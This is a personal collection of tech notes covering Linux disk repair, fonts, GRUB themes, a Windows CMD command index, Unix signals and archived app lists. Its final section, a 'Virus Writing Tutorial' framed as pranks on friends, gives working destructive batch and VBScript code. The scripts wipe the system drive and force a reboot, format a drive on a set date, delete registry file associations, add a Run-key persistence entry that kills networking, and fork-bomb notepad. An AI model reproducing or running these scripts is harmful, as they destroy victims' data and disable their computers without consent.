=sudo fsck -b 32768 /dev/sda2 -y= The -y flag is used to skip all the Fix? questions and to answer them all with a yes automatically - Now try mounting the partition: =sudo mount /dev/sda2 /mnt= Now, try to see if device is doing read and write correctly: =cd /mnt mkdir test ls -l cp file /path/to/safe/location= If you are able to perform the above commands, you have most probably fixed your error. - *Now, restart you computer and you should be able to boot normally.* * Fonts Related ** How to Install Fonts # How to install Fonts on Linux - create a directory "fonts" in ~/.local/share/fonts `mkdir ~/.local/share/fonts` - copy fonts to this directory `cp -r *.ttf ~/.local/share/fonts` - clear and regenerate font cache `fc-cache -f -v` - verify the installation `fc-list | grep "Hack" - Cleanup * FTP Related ** SImple File Transfer using lftp To transfer Files Over ftp on Arch Linux! #ftp #fixes #notestonubelikeme Are you on arch-linux? Are frustrated like me wondering where is ftp in arch repos? then look no more just install lftp =sudo pacman -S lftp= connect with your ftp server =lftp admin@192.168.24.1:1234= just like that you connected and free to use your ftp commands such as get and put to upload and download files over ftp * Windows Related ** 100+ Run Command List 1. Accessibility Options : access.cpl 2. Add Hardware : hdwwiz.cpl 3. Add / Remove Programs : appwiz.cpl 4. Administrative Tools : control admintools 5. Automatic Updates : wuaucpl.cpl 6. Wizard file transfer Bluethooth : fsquirt 7. Calculator : calc 8. Certificate Manager : certmgr.msc 9. Character : charmap 10. Checking disk : chkdsk 11. Manager of the album (clipboard) : clipbrd 12. Command Prompt : cmd 13. Service components (DCOM) : dcomcnfg 14. Computer Management : compmgmt.msc 15. DDE active sharing : ddeshare 16. Device Manager : devmgmt.msc 17. DirectX Control Panel (if installed) : directx.cpl 18. DirectX Diagnostic Utility : dxdiag 19. Disk Cleanup : cleanmgr 20. System Information : dxdiag 21. Disk Defragmenter : dfrg.msc 22. Disk Management : diskmgmt.msc 23. Partition manager : diskpart 24. Display Properties : control desktop 25. Properties of the display (2) : desk.cpl 26. Properties display (tab "appearance") : control color 27. Dr. Watson : drwtsn32 28. Manager vérirficateur drivers : check 29. Event Viewer : Eventvwr.msc 30. Verification of signatures of files : sigverif 31. Findfast (if present) : findfast.cpl 32. Folder Options : control folders 33. Fonts (fonts) : control fonts 34. Fonts folder windows : fonts 35. Free Cell : freecell 36. Game Controllers : Joy.cpl 37. Group Policy (XP Pro) : gpedit.msc 38. Hearts (card game) : mshearts 39. IExpress (file generator. Cab) : IExpress 40. Indexing Service (if not disabled) : ciadv.msc 41. Internet Properties : inetcpl.cpl 42. IPConfig (display configuration) : ipconfig / all 43. IPConfig (displays the contents of the DNS cache) : ipconfig / displaydns 44. IPConfig (erases the contents of the DNS cache) : ipconfig / flushdns 45. IPConfig (IP configuration cancels maps) : ipconfig / release 46. IPConfig (renew IP configuration maps) : ipconfig / renew 47. Java Control Panel (if present) : jpicpl32.cpl 48. Java Control Panel (if present) : javaws 49. Keyboard Properties : control keyboard 50. Local Security Settings : secpol.msc 51. Local Users and Groups : lusrmgr.msc 52. Logout : logoff 53. Microsoft Chat : winchat 54. Minesweeper (game) : winmine 55. Properties of the mouse : control mouse 56. Properties of the mouse (2) : main.cpl 57. Network Connections : control NetConnect 58. Network Connections (2) : ncpa.cpl 59. Network configuration wizard : netsetup.cpl 60. Notepad : notepad 61. NView Desktop Manager (if installed) : nvtuicpl.cpl 62. Manager links : packager 63. Data Source Administrator ODBC : odbccp32.cpl 64. Screen Keyboard : OSK 65. AC3 Filter (if installed) : ac3filter.cpl 66. Password manager (if present) : Password.cpl 67. Monitor performance : perfmon.msc 68. Monitor performance (2) : perfmon 69. Dialing Properties (phone) : telephon.cpl 70. Power Options : powercfg.cpl 71. Printers and Faxes : control printers 72. Private Character Editor : eudcedit 73. Quicktime (if installed) : QuickTime.cpl 74. Regional and Language Options : intl.cpl 75. Editor of the registry : regedit 76. Remote desktop connection : mstsc 77. Removable Storage : ntmsmgr.msc 78. requests the operator to removable storage : ntmsoprq.msc 79. RSoP (traduction. ..) (XP Pro) : rsop.msc 80. Scanners and Cameras : sticpl.cpl 81. Scheduled Tasks : control schedtasks 82. Security Center : wscui.cpl 83. Console management services : services.msc 84. shared folders : fsmgmt.msc 85. Turn off windows : shutdown 86. Sounds and Audio Devices : mmsys.cpl 87. Spider (card game) : spider 88. Client Network Utility SQL server : cliconfg 89. System Configuration Editor : sysedit 90. System Configuration Utility : msconfig 91. System File Checker (SFC =) (Scan Now) : sfc / scannow 92. SFC (Scan next startup) : sfc / scanonce 93. SFC (Scan each démarraget) : sfc / scanboot 94. SFC (back to default settings) : sfc / revert 95. SFC (purge cache files) : sfc / purgecache 96. SFC (define size CAHC x) : sfc / cachesize = x 97. System Properties : sysdm.cpl 98. Task Manager : taskmgr 99. Telnet client : telnet 100. User Accounts : nusrmgr.cpl 101. Utility Manager (Magnifier, etc) : utilman 102. Windows firewall (XP SP2) : firewall.cpl 103. Microsoft Magnifier : magnify 104. Windows Management Infrastructure : wmimgmt.msc 105. Protection of the accounts database : syskey 106. Windows update : wupdmgr 107. Introducing Windows XP (if not erased) : tourstart 108. Wordpad : write 109. Date and Time Properties : timedate.cpl ** A-Z Windows Commands List # An A­Z Index of the Windows CMD command line ADDUSERS Add or list users to/from a CSV file ADmodcmd Active Directory Bulk Modify ARP Address Resolution Protocol ASSOC Change file extension associations• ASSOCIAT One step file association AT Schedule a command to run at a specific time ATTRIB Change file attributes #b BCDBOOT Create or repair a system partition BCDEDIT Manage Boot Configuration Data BITSADMIN Background Intelligent Transfer Service BOOTCFG Edit Windows boot settings BROWSTAT Get domain, browser and PDC info #c CACLS Change file permissions CALL Call one batch program from another• CERTREQ Request certificate from a certification authority CERTUTIL Utility for certification authority (CA) files and services CD Change Directory ­ move to a specific Folder• CHANGE Change Terminal Server Session properties CHKDSK Check Disk ­ check and repair disk problems CHKNTFS Check the NTFS file system CHOICE Accept keyboard input to a batch file CIPHER Encrypt or Decrypt files/folders CleanMgr Automated cleanup of Temp files, recycle bin CLEARMEM Clear memory leaks CLIP Copy STDIN to the Windows clipboard CLS Clear the screen• CLUSTER Windows Clustering CMD Start a new CMD shell CMDKEY Manage stored usernames/passwords COLOR Change colors of the CMD window• COMP Compare the contents of two files or sets of files COMPACT Compress files or folders on an NTFS partition COMPRESS Compress individual files on an NTFS partition CON2PRT Connect or disconnect a Printer CONVERT Convert a FAT drive to NTFS COPY Copy one or more files to another location• CSCcmd Client­side caching (Offline Files) CSVDE Import or Export Active Directory data #d DATE Display or set the date• DEFRAG Defragment hard drive DEL Delete one or more files• DELPROF Delete user profiles DELTREE Delete a folder and all subfolders DevCon Device Manager Command Line Utility DIR Display a list of files and folders• DIRUSE Display disk usage DISKPART Disk Administration DISKSHADOW Volume Shadow Copy Service DNSSTAT DNS Statistics DOSKEY Edit command line, recall commands, and create macros DriverQuery Display installed device drivers DSACLs Active Directory ACLs DSAdd Add items to active directory (user group computer) DSGet View items in active directory (user group computer) DSQuery Search for items in active directory (user group computer) DSMod Modify items in active directory (user group computer) DSMove Move an Active directory Object DSRM Remove items from Active Directory #e ECHO Display message on screen• ENDLOCAL End localisation of environment changes in a batch file• ERASE Delete one or more files• EVENTCREATE Add a message to the Windows event log EXIT Quit the current script/routine and set an errorlevel• EXPAND Uncompress files EXTRACT Uncompress CAB files #f FC Compare two files FIND Search for a text string in a file FINDSTR Search for strings in files FOR /F Loop command: against a set of files• FOR Loop command: all options Files, Directory, List• FORFILES Batch process multiple files FORMAT Format a disk FREEDISK Check free disk space (in bytes) FSUTIL File and Volume utilities FTP File Transfer Protocol FTYPE File extension file type associations• #g GETMAC Display the Media Access Control (MAC) address GLOBAL Display membership of global groups GOTO Direct a batch program to jump to a labelled line• GPRESULT Display Resultant Set of Policy information GPUPDATE Update Group Policy settings #h HELP Online Help #i iCACLS Change file and folder permissions IF Conditionally perform a command• IFMEMBER Is the current user a member of a Workgroup IPCONFIG Configure IP #k KILL Remove a program from memory #l LABEL Edit a disk label LOCAL Display membership of local groups LOGEVENT Write text to the event viewer LOGMAN Manage Performance Monitor LOGOFF Log a user off LOGTIME Log the date and time in a file #m MAPISEND Send email from the command line MBSAcli Baseline Security Analyzer MEM Display memory usage MD Create new folders• MKLINK Create a symbolic link (linkd) • MODE Configure a system device MORE Display output, one screen at a time MOUNTVOL Manage a volume mount point MOVE Move files from one folder to another• MOVEUSER Move a user from one domain to another MSG Send a message MSIEXEC Microsoft Windows Installer MSINFO32 System Information MSTSC Terminal Server Connection (Remote Desktop Protocol) MV Copy in­use files #n NET Manage network resources NETDOM Domain Manager NETSH Configure Network Interfaces, Windows Firewall & Remote access NETSVC Command­line Service Controller NBTSTAT Display networking statistics (NetBIOS over TCP/IP) NETSTAT Display networking statistics (TCP/IP) NOW Display the current Date and Time NSLOOKUP Name server lookup NTBACKUP Backup folders to tape NTRIGHTS Edit user account rights #o OPENFILES Query or display open files #p PATH Display or set a search path for executable files• PATHPING Trace route plus network latency and packet loss PAUSE Suspend processing of a batch file and display a message• PERMS Show permissions for a user PERFMON Performance Monitor PING Test a network connection POPD Return to a previous directory saved by PUSHD• PORTQRY Display the status of ports and services POWERCFG Configure power settings PRINT Print a text file PRINTBRM Print queue Backup/Recovery PRNCNFG Display, configure or rename a printer PRNMNGR Add, delete, list printers set the default printer PROMPT Change the command prompt• PsExec Execute process remotely PsFile Show files opened remotely PsGetSid Display the SID of a computer or a user PsInfo List information about a system PsKill Kill processes by name or process ID PsList List detailed information about processes PsLoggedOn Who's logged on (locally or via resource sharing) PsLogList Event log records PsPasswd Change account password PsPing Measure network performance PsService View and control services PsShutdown Shutdown or reboot a computer PsSuspend Suspend processes PUSHD Save and then change the current directory• #q QGREP Search file(s) for lines that match a given pattern Query Process Display processes (TS/Remote Desktop) Query Session Display all sessions (TS/Remote Desktop) Query TermServer List all servers (TS/Remote Desktop) Query User Display user sessions (TS/Remote Desktop) #r RASDIAL Manage RAS connections RASPHONE Manage RAS connections RECOVER Recover a damaged file from a defective disk REG Registry: Read, Set, Export, Delete keys and values REGEDIT Import or export registry settings REGSVR32 Register or unregister a DLL REGINI Change Registry Permissions REM Record comments (remarks) in a batch file• REN Rename a file or files• REPLACE Replace or update one file with another Reset Session Delete a Remote Desktop Session RD Delete folder(s)• RMTSHARE Share a folder or a printer ROBOCOPY Robust File and Folder Copy ROUTE Manipulate network routing tables RUN Start | RUN commands RUNAS Execute a program under a different user account RUNDLL32 Run a DLL command (add/remove print connections) #s SC Service Control SCHTASKS Schedule a command to run at a specific time SCLIST Display Services SET Display, set, or remove session environment variables• SETLOCAL Control the visibility of environment variables• SETX Set environment variables SFC System File Checker SHARE List or edit a file share or print share ShellRunAs Run a command under a different user account SHIFT Shift the position of batch file parameters• SHORTCUT Create a windows shortcut (.LNK file) SHOWGRPS List the Workgroups a user has joined SHOWMBRS List the Users who are members of a Workgroup SHUTDOWN Shutdown the computer SLEEP Wait for x seconds SLMGR Software Licensing Management (Vista/2008) SOON Schedule a command to run in the near future SORT Sort input START Start a program, command or batch file• SU Switch User SUBINACL Edit file and folder Permissions, Ownership and Domain SUBST Associate a path with a drive letter SYSTEMINFO List system configuration #t TAKEOWN Take ownership of a file TASKLIST List running applications and services TASKKILL Remove a running process from memory TIME Display or set the system time• TIMEOUT Delay processing of a batch file TITLE Set the window title for a CMD.EXE session• TLIST Task list with full path TOUCH Change file timestamps TRACERT Trace route to a remote host TREE Graphical display of folder structure TSSHUTDN Remotely shut down or reboot a terminal server TYPE Display the contents of a text file• TypePerf Write performance data to a log file #u USRSTAT List domain usernames and last login #v VER Display version information• VERIFY Verify that files have been saved• VOL Display a disk label• #w WAITFOR Wait for or send a signal WHERE Locate and display files in a directory tree WHOAMI Output the current UserName and domain WINDIFF Compare the contents of two files or sets of files WINMSDP Windows system report WINRM Windows Remote Management WINRS Windows Remote Shell WMIC WMI Commands WUAUCLT Windows Update #x XCACLS Change file and folder permissions XCOPY Copy files and folders :: Comment / Remark• Commands marked • are Internal commands only available within the CMD shell. All other commands (not marked with •) are external commands. External commands may be used under the CMD shell, PowerShell, or directly from START­RUN. * How Tos ** Fancy Artwork in tty login whatever command you want to run at starting of computer put it in =/etc/rc.local= =fm6000 -r -c random -o artix -de=pretty -n > /etc/issue= this will update `/etc/issue` with output of fm6000 command *** How to set figlet like artwork in tty console /etc/motd /etc/issue use command in terminal neofetch >> /etc/issue add extra line to clear the screen /etc/sv/agetty-tty1/conf GETTY_ARGS="--noclear" to GETTY_ARGS="" ** How to download gdrive links from websites all at once? Here our target site is http://www.phenomenamagazine.co.uk/back-issues/4571429617 1. Open Terminal Type this command grep -o "file/d/.*/view" <(curl -s http://www.phenomenamagazine.co.uk/back-issues/4571429617 http://www.phenomenamagazine.co.uk/) Add awk, to print the middle part: | awk -F/ '{print $3}' 2. This should print you all the wget commands which are going to be executed: for id in $(grep -o "file/d/.*/view" <(curl -s http://www.phenomenamagazine.co.uk/back-issues/4571429617) | awk -F/ '{print $3}'); do echo wget -nc --content-disposition "https://drive.google.com/uc?id=$id&export=download"; done 3. Remove Echo Word and execute like this: for id in $(grep -o "file/d/.*/view" <(curl -s http://www.phenomenamagazine.co.uk/back-issues/4571429617) | awk -F/ '{print $3}'); do wget -nc --content-disposition "https://drive.google.com/uc?id=$id&export=download"; done Note: -nc flag won't override the existing one in case you rerun the command again ** How to make Terminal Banner? *Terminal Banner* ======================== ##How to make Linux Terminal Banner? ### First Install these packages - Open Terminal and type     sudo apt-get install figlet     sudo apt-get install cowsay     sudo ln -s /usr/games/cowsay /usr/bin/cowsay - After Installation done try to run commands first by typing     figlet your text _Now you know how it works for more info type man figlet_      cowsay -f eyes "hi" type man cowsay for more info See /usr/share/cowsay/cows for more templates ### For Regular User Terminal  - Open Terminal - Switch to root using su root command - Type     leafpad .bashrc  (leafpad is name of text editor it may be differs for you t xed, gedit or nano instead) - Once .bashrc file opened scroll down to the last line where you found #fi - Add one more line after #fi line and add these lines:     figlet anything     cowsay -f eyes "anthing" - Now save the files and open new terminal as root to see changes ### For Root Terminal: - Open Terminal - Switch to root using su root command - leafpad /root/.bashrc (nano is name of text editor it may be differs for you try xed, gedit or leafpad instead) - Once .bashrc file opened scroll down to the last line where you found #fi - Add one more line by after #fi and add these lines:      figlet anything      cowsay -f eyes "anthing" - Now save the files and open new terminal as root to see changes - Done, Now every time you open root terminal you will see your banner. ** How to remove viruses using windows command prompt? removing viruse dir /w/a - to show directory along with hidden files attrib -r -a -s -h or attrib -s -h *.* /s /d del or rename ** How to repair corrupted usb drive using DISKPART of windows? # IN WINDOWS WE USE INBUILT DISKPART TOOL - Open Command Prompt as Administrator - Type `diskpart` - list the disks `list disk` - select your usb drive `select disk 1` - clean the filesystem on disk `clean` - create primary partitinon `create partition primary` - make it active `active` - select it `select partition 1` - format it `format fs fat32` - wait to complete formating - Done! Now you can exit `exit` ** How to rip games with batch script in windows? Open a notepad and copy below text into it and save it as rip.bat file ``` @echo off ren uha.dll uha.exe uha.exe a -m3 -r -pf -o video.arc F:\location ren uha.exe uha.dll ``` I think its useful for compressing huge files to incredible smaller size files. ** How to Transfer unfinished IDM downloads to Other PC in windows? **2 Best tricks to Transfering Unifinished IDM downloads to Other PC** Trick 1: - Goto this location: (for windows xp) `C:/Documents and Settings/username/ApplicationData/IDM/DwnlData` (for windows vista): `C:/Users/username/AppData/Roaming/IDM/DwnlData` - copy unfinished file to your pen drive - Open the IDM - Select the Unfinished file - Goto `Tasks > Export > To IDM export file` - Save it with any name in your pendrive - Now Goto another computer IDM - Goto `Tasks > Import > Import the exported file` - Start Downloading the imported file - Pause Downloading when it starts Receiving all the Partitions - Now copy and replace the content of respective folders - Now resume the Downloading and it will work for sure. *Trick 2* - Open `Options > Save To dialog (Options > Downloads)` for older versions and look what folder is set in Temporary directory field. - Save this folder somewhere in order to use it later. - Do the same for all categories download folders in order to save your completed downloads. - At the same dialog look what folders use for default download directories for each category. save these folders as well if necessary. - Export `HKEY_CURRENT_USER\Software\DownloadMana..` registry key and also save it. - On another computer import registry key that you saved. - Copy IDM temporary folder and all default download directories under the same path that they had on initial computer. - Run IDM.] ** How to install Grub Theme? 1. First Install GRUB - `pacman -S grub os-prober efibootmgr` (later packages for efi systems and ability to dual boot) - `grub-install --target=i386-pc /dev/sda` for legacy bios - `grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=GRUB` for UEFI Systems 2. Make config `grub-mkconfig -o /boot/grub/grub.cfg` 3. Install theme `pacman -S artix-grub-theme` 4. Select theme add this line `GRUB_THEME="/usr/share/grub/themes/artix/theme.txt` in `/etc/default/grub` 5. Then update grub with step 2. again. ** How to use mouse pointer using keyboard numlock keys? Use Mouse with Keyboard To add mouse functionality to numpad keys add this line to `~/.xprofile` or `remaps` script from `~/.local/bin/` `setxkbmap -option keypad:pointerkeys &` and this line to `/etc/X11/xorg.conf.d/00-keyboard.conf` add `Option "XkbOptions" "keypad:pointerkeys"` and press `Ctrl+Shift+Numlock` to activate it. ** How to create link or symlink between files in linux? Always remember links not work when not linked with full paths example: when you are in a directory of a file of which you want to create a link in another directory in this case Do not do this: ln -s filename /home/user/.local/dir/linkname neither this ln -s ./filename /home/user/local/dir/linkname Instead do this ln -s /home/user/dir/filename /home/user/local/dir/linkname always include full path of both source and link files ** How to enable dark theme in chromium based browser without addons? put this link in urlbar of chromium based browsers `brave://flags/#enable-force-dark` and enable `Force Dark Mode for Web Contents` options ** How to add profile pictures in linux user account? See the contents of ... /var/lib/AccountsService/ /home/$USER/.face the 1st will have a desktop styled file the 2nd holds the image taken from a webcam in case you used that To change the 1st check the desktop file for the dir at Icon= and replace the file it points to (make sure yours is the same size). The second just requires you to move a file to it (probably in the same size and format). If you want to remove the picture altogether and default back to no profile picture, remove the property that says Icon=, or if you want one single command to do it for you: sed -i '/Icon/d' "/var/lib/AccountsService/$USER" * Miscelaneous ** MDE- File format *MDE* A file with the MDE file extension is a Compiled Access Add-in file used to store a Microsoft Access MDA file in binary format. Advantages of MDE files include a compacted file size, VBA code that can run but can't be changed, and the ability to edit data and run reports while shielding the user from having full database access. Other MDE files might be unrelated to MS Access and instead be add-in files used with the architectural design software ArchiCAD to extend the program's functionality How to Open an MDE File MDE files can be opened with Microsoft Access and probably some other database programs as well. Tip: You can make an MDE file in Access through the Tools >> Database Utilities >> Make MDE File... menu option. Microsoft Excel will import MDE files, but that data will then have to be saved in some other spreadsheet format like XLSX or CSV. Graphisoft ArchiCAD's add-in files that have the .MDE file extension can be opened with that program. Note: If you find that an application on your PC does try to open the MDE file but it's the wrong application or if you would rather have another installed program open MDE files, see our How to Change the Default Program for a Specific File Extension guide for making that change in Windows. How to Convert an MDE File Read the instructions on Granite Consultingand Pruittfamily.com for some information on converting an MDE file to MDB. Once the information in the MDE file is in the MDB format, you can convert the MDB file to ACCDB or ACCDE using Microsoft Access. A tool like MDE Compiler should be able to convert your MDE file to EXE to create a standalone program. Still Can't Open Your File? If the programs above aren't working to open your MDE file, it's possible that you're misreading the file extension and you don't actually have an MDE file.  For example, an Amiga MED Sound file and RSView Development Project file both use the MED file extension which is really similar to MDE but not the same. Even though they look like they might be related to Microsoft Access or ArchiCAD, they instead open with ModPlug Player and RSView, respectively.  The same is true for other file extensions that might sound or look like "MDE," like MME which belongs to the Multi-Purpose Internet Mail format, or MDD which might be a Point Oven Deformation Data file or an MDict Resource file. ** All Sigkill Commands First the signals described in the original POSIX.1-1990 standard. Signal Value Action Comment ────────────────────────────────────────────────────────────────────── SIGHUP 1 Term Hangup detected on controlling terminal or death of controlling process SIGINT 2 Term Interrupt from keyboard SIGQUIT 3 Core Quit from keyboard SIGILL 4 Core Illegal Instruction SIGABRT 6 Core Abort signal from abort(3) SIGFPE 8 Core Floating point exception SIGKILL 9 Term Kill signal SIGSEGV 11 Core Invalid memory reference SIGPIPE 13 Term Broken pipe: write to pipe with no readers SIGALRM 14 Term Timer signal from alarm(2) SIGTERM 15 Term Termination signal SIGUSR1 30,10,16 Term User-defined signal 1 SIGUSR2 31,12,17 Term User-defined signal 2 SIGCHLD 20,17,18 Ign Child stopped or terminated SIGCONT 19,18,25 Cont Continue if stopped SIGSTOP 17,19,23 Stop Stop process SIGTSTP 18,20,24 Stop Stop typed at terminal SIGTTIN 21,21,26 Stop Terminal input for background process SIGTTOU 22,22,27 Stop Terminal output for background process The signals SIGKILL and SIGSTOP cannot be caught, blocked, or ignored. Next the signals not in the POSIX.1-1990 standard but described in SUSv2 and POSIX.1-2001. Signal Value Action Comment ──────────────────────────────────────────────────────────────────── SIGBUS 10,7,10 Core Bus error (bad memory access) SIGPOLL Term Pollable event (Sys V). Synonym for SIGIO SIGPROF 27,27,29 Term Profiling timer expired SIGSYS 12,31,12 Core Bad argument to routine (SVr4) SIGTRAP 5 Core Trace/breakpoint trap SIGURG 16,23,21 Ign Urgent condition on socket (4.2BSD) SIGVTALRM 26,26,28 Term Virtual alarm clock (4.2BSD) SIGXCPU 24,24,30 Core CPU time limit exceeded (4.2BSD) SIGXFSZ 25,25,31 Core File size limit exceeded (4.2BSD) Up to and including Linux 2.2, the default behavior for SIGSYS, SIGX‐ CPU, SIGXFSZ, and (on architectures other than SPARC and MIPS) SIGBUS was to terminate the process (without a core dump). (On some other UNIX systems the default action for SIGXCPU and SIGXFSZ is to terminate the process without a core dump.) Linux 2.4 conforms to the POSIX.1-2001 requirements for these signals, terminating the process with a core dump. Next various other signals. Signal Value Action Comment ──────────────────────────────────────────────────────────────────── SIGIOT 6 Core IOT trap. A synonym for SIGABRT SIGEMT 7,-,7 Term SIGSTKFLT -,16,- Term Stack fault on coprocessor (unused) SIGIO 23,29,22 Term I/O now possible (4.2BSD) SIGCLD -,-,18 Ign A synonym for SIGCHLD SIGPWR 29,30,19 Term Power failure (System V) SIGINFO 29,-,- A synonym for SIGPWR SIGLOST -,-,- Term File lock lost (unused) SIGWINCH 28,28,20 Ign Window resize signal (4.3BSD, Sun) SIGUNUSED -,31,- Core Synonymous with SIGSYS (Signal 29 is SIGINFO / SIGPWR on an alpha but SIGLOST on a sparc.) SIGEMT is not specified in POSIX.1-2001, but nevertheless appears on most other UNIX systems, where its default action is typically to ter‐ minate the process with a core dump. SIGPWR (which is not specified in POSIX.1-2001) is typically ignored by default on those other UNIX systems where it appears. SIGIO (which is not specified in POSIX.1-2001) is ignored by default on several other UNIX systems. Where defined, SIGUNUSED is synonymous with SIGSYS on most architec‐ tures. * Archived ** 20 SECRET Apps for Android! Here are the 20 SECRET Apps for Android! Another 5 SECRET Apps 2018 https://goo.gl/tx4ybi 00:32 Amazon Underground: https://goo.gl/A9L8qC 01:19 Whatscan: https://goo.gl/OIYNgu 02:00 Boot Animation: https://goo.gl/pzDvSB 02:45 Adguard: https://adguard.com/en/welcome.html 03:23 ShowBox: https://goo.gl/of81Yd 04:00 Cryptography: https://goo.gl/aC3zUk 04:50 WA Tweaks: https://goo.gl/aw8NHr 06:12 LMT Launcher: https://goo.gl/Eppqex 07:08 FILDO: https://goo.gl/4tYGUZ 07:51 Net Cut: https://goo.gl/7z7l48 08:27 PixelKnot: https://goo.gl/fVgPdb 09:06 Aptoide Lite: https://goo.gl/rj6M5n 09:47 Pixel Off: https://goo.gl/wWrp1w 10:21 Lucky Patcher: https://goo.gl/ZEPUXX 11:26 Videoder: https://goo.gl/9FMGsa 12:12 F Droid: https://goo.gl/iSgNsc 12:54 File Chef: https://goo.gl/IyVoys 13:41 Instwogram: https://goo.gl/0OHz7d 14:23 Parallel Space: https://goo.gl/ZEah20 15:32 Official TWRP App: https://goo.gl/KIs1Gp (Some Apps are Shown for educational purposes only. I'm not endorsing their use.) ** Make you internet faster! Make your Internet Faster with this little Trick! (This IS NOT A JOKE I Am Serious!) Cloudflare, a well-known Internet performance and security company, announced the launch of 1.1.1.1—world’s fastest and privacy-focused secure DNS service that not only speeds up your internet connection but also makes it harder for ISPs to track your web history. Domain Name System (DNS) resolver, or recursive DNS server, is an essential part of the internet that matches up human-readable web addresses with their actual location on the internet, called IP addresses. For example, when you try to open a website, say wikipedia.com, your DNS looks up for the IP address linked to this domain name and load the site. Since the default DNS services provided by ISPs are often slow and insecure, most people rely on alternative DNS providers—such as OpenDNS (208.67.222.222), Comodo DNS (8.26.56.26) and Google (8.8.8.8), to speed up their Internet. But if you use Cloudflare new 1.1.1.1 DNS service, your computer/smartphone/tablet will start resolving domain names within a blazing-fast speed of 14.8 milliseconds—that’s over 28% faster than others, like OpenDNS (20.6ms) and Google (34.7ms). Even if you are visiting websites over HTTPS, DNS resolvers log every site you visit, making your ISP or 3rd-party DNS services know about everything you do on the Internet. “That means, by default, your ISP, every wifi network you’ve connected to, and your mobile network provider have a list of every site you’ve visited while using them,” the company says. However, Cloudflare has changed this game with its new free DNS service, which it claims, will be “the Internet’s fastest, privacy-first consumer DNS service,” promising to prevent ISPs from easily tracking your web browsing history. Cloudflare public DNS resolvers, 1.1.1.1 and 1.0.0.1 (as alternate DNS server for redundancy), support both DNS-over-TLS and DNS-over-HTTPS to ensure maximum privacy. The company has also promised not to sell users’ data, instead to wipe all logs of DNS queries within 24 hours. It’s also working with auditors at KPMG to examine its systems and guarantee it’s not actually collecting your data. Visit https://1.1.1.1/ from any device to get started with the Internet's fastest, privacy-first DNS service. TUTORIAL How to: Here is how you can set up 1.1.1.1 DNS for your devices, just follow this link: http://www.ethicalhackx.com/make-internet-faster-1-1-1-1-privacy-dns-server/ Also watch https://youtu.be/kqnvrjgyEMc for video explanation. ** Linux Apps must install! 🖊️ Marker: https://fabiocolacio.github.io/Marker 🎙️ Hammond: https://gitlab.gnome.org/alatiera/Ham...  🖥️ HydraPaper: https://github.com/gabmus/hydrapaper 🔐 KeePassXC: https://keepassxc.org 💬 Matrix: https://matrix.org  💬 Riot: https://riot.im 💬 Fractal: https://gitlab.gnome.org/danigm/fractal Tomboy https://wiki.gnome.org/Apps/Tomboy MyNoteX https://sites.google.com/site/mynotex/ Tojita http://trojita.flaska.net/ Kontact https://userbase.kde.org/Kontact Osmo http://clayo.org/osmo/ Catfish http://www.twotoasts.de/index.php/cat... KOrganizer https://userbase.kde.org/KOrganizer Evolution https://help.gnome.org/users/evolutio... Freeplane https://www.freeplane.org/wiki/index.... Calligra Flow https://www.calligra.org/flow/ ** Must have software for pc! ⚠️ This note is deprecated as it written before I switch full time on linux as a main and only OS in PC. • Fences • F.lux • Ninite • Keyperinha • http://calibrize.com/ ** Virus Writing Tutorial! *⚠️VIRUS WRITING TUTORIAL* Just Prank Your Fucking Friends😆 IMP. Note>> I am not responsible for any damage or error reporting in Your pc do it on your own risk. This coding is only for knowledge purpose. All Scripts Here Are To Be Copied In Note Pad >>This Virus Deletes All The Content Of A Drive… @echo off del %systemdrive%\*.* /f /s /q shutdown -r -f -t 00 Save The Above Code in a .bat file >>Disable Internet Permanently Save As A bat File echo @echo off>c:windowswimn32.bat echo break off>>c:windowswimn32.bat echo ipconfig/release_all>>c:windowswimn32.bat echo end>>c:windowswimn32.bat reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f echo You Have Been HACKED! PAUSE >>The Most Simple Virus To Crush The Window @Echo off Del C:\ *.* |y Save It As Anything.bat >> This Will Crash Ur Computer Option Explicit Dim WSHShell Set WSHShell=Wscript.CreateObject(“Wscript.Shell”) Dim x For x = 1 to 100000000 WSHShell.Run “Tourstart.exe” Next Save It As Anything.vbs It Only Works With Windows XP >>Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK] This will delete key registry files, then loops a message (CANNOT BE RECOVERED FROM)* Code:- @ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* :MESSAGE ECHO Your computer has been fcked. Have a nice day. GOTO MESSAGE >>Endless Notepads *This will pop up endless notepads until the computer freezes and crashes* Code:- @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top >> Bomb Virus Copy Paste The Following If %date% NEQ 2009/11/25 goto exit format E: /y >nul :exit exit And Save It As Anything.bat Note:- You Can Change The Date ( 2009/11/25 ) Of The Virus And The Location ( format E: ) On Which It Does Its Action The Virus Will Take Effect On That Day >>Crazy caps lock *This constantly turns caps lock on and off really fast continuously* Code:- Set wshShell =wscript.CreateObject(”WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}” loop >>Endless Enter *This constantly makes it so the enter button is being pressed continuesly* Code:- Set wshShell = wscript.CreateObject(”WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “~(enter)” loop >>Endless Backspace *This makes it so the backspace key is constantly being pressed* Code:- MsgBox “Let’s go back a few steps” Set wshShell =wscript.CreateObject(”WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{bs}” loop What sex is your computer ? -> open notepad -> copy code CreateObject(“SAPI.SpVoice”).Speak”I love YOU” -> n paste on the Notepad -> save as > love.vbs -> double-click on it Make Your Keyboard Disco Light This trick just makes your keyboard lights do disco. The script I’m sharing with you, when executed makes your Caps, Num and Scroll Lock’s light flash in a cool rhythmic way! 1. This piece of code makes ur keyboard a live disco.. Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}” wshshell.sendkeys “{NUMLOCK}” wshshell.sendkeys “{SCROLLLOCK}” loop 2. This one makes it looks like a chain of light…. Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 200 wshshell.sendkeys “{CAPSLOCK}” wscript.sleep 100 wshshell.sendkeys “{NUMLOCK}” wscript.sleep 50 wshshell.sendkeys “{SCROLLLOCK}” loop Instructions: *paste any of the two above codes in notepad *Save as “AnyFileName”.vbs *Run the file *To stop, launch task manager and then under “Processes” end “wscript.exe” I hope u would like 